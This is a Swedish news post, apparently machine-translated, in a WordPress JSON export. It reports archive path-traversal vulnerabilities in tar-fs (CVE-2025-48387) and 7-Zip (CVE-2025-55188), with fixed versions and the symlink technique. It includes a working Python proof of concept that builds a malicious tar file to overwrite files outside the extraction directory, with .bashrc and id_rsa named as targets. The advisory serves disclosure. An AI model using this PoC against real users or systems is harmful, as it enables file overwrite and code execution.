{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sv\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"S\u00e5rbarheter i tar-fs och 7-Zip som g\u00f6r det m\u00f6jligt att skriva filer utanf\u00f6r grundkatalogen","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
NPM-paketet tar-fs har uppt\u00e4ckts inneh\u00e5lla en s\u00e5rbarhet (CVE-2025-48387) som g\u00f6r det m\u00f6jligt att vid uppackning av en specialdesignad tar-arkiv skriva filer till valfria delar av filsystemet, utan begr\u00e4nsningar till den katalog d\u00e4r uppackningen sker (i enlighet med de beh\u00f6righeter som den aktuella anv\u00e4ndaren har). S\u00e5rbarheten kan ocks\u00e5 anv\u00e4ndas f\u00f6r att \u00f6verskriva befintliga filer; till exempel kan filer som «.ssh\/id_rsa» eller «.bashrc» i anv\u00e4ndarens hemkatalog skrivas \u00f6ver f\u00f6r att exekvera egen kod i systemet. <\/p>\n
Problemet har tilldelats en kritisk fara med h\u00e4nsyn till att paketet tar-fs har 23 miljoner nedladdningar i veckan och anv\u00e4nds som beroende i 1155 projekt. S\u00e5rbarheten \u00e5tg\u00e4rdades i versioner 3.0.9, 2.1.3 och 1.16.5, som sl\u00e4pptes i maj, men information om s\u00e5rbarheten offentliggjordes f\u00f6rst n\u00e4stan 3 m\u00e5nader senare. <\/p>\n
S\u00e5rbarheten orsakas av otillr\u00e4ckliga kontroller av de symboliska och h\u00e5rda l\u00e4nkarna i arkivet f\u00f6r att s\u00e4kerst\u00e4lla att de inte g\u00e5r utanf\u00f6r den m\u00e5l katalogen f\u00f6r uppackning. F\u00f6r att kringg\u00e5 kontrollerna anv\u00e4nds tv\u00e5 symboliska l\u00e4nkar: den f\u00f6rsta pekar p\u00e5 rotkatalogen f\u00f6r uppackning av arkivet («.»), och den andra skapas relativt den f\u00f6rsta symboliska l\u00e4nken och anv\u00e4nder tecken «..» i namnet f\u00f6r att g\u00e5 utanf\u00f6r bas katalogen. Till exempel pekar den f\u00f6rsta l\u00e4nken «noop\/noop\/noop» p\u00e5 «.», medan den andra «noop\/noop\/noop\/..\/..\/..\/..\/» blir «.\/..\/..\/..\/». F\u00f6r att m\u00f6jligg\u00f6ra \u00f6verskrivning av filer i arkivet kan en h\u00e5rd l\u00e4nk som pekar p\u00e5 en extern fil i f\u00f6rh\u00e5llande till den andra symboliska l\u00e4nken skapas. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («..» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n
En liknande s\u00e5rbarhet (CVE-2025-55188) har uppt\u00e4ckts i komprimeringsprogrammet 7-Zip. F\u00f6r att skriva filer utanf\u00f6r bas katalogen i 7-Zip kan \u00e4ven symboliska l\u00e4nkar med sekvensen «..» i filv\u00e4gen anv\u00e4ndas. Problemet kan utnyttjas vid uppackning med 7-Zip av alla arkiv som st\u00f6der symboliska l\u00e4nkar, till exempel zip, tar, 7z och rar. Problemet har \u00e5tg\u00e4rdats i version 7-Zip 25.01. \n K\u00e4lla: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"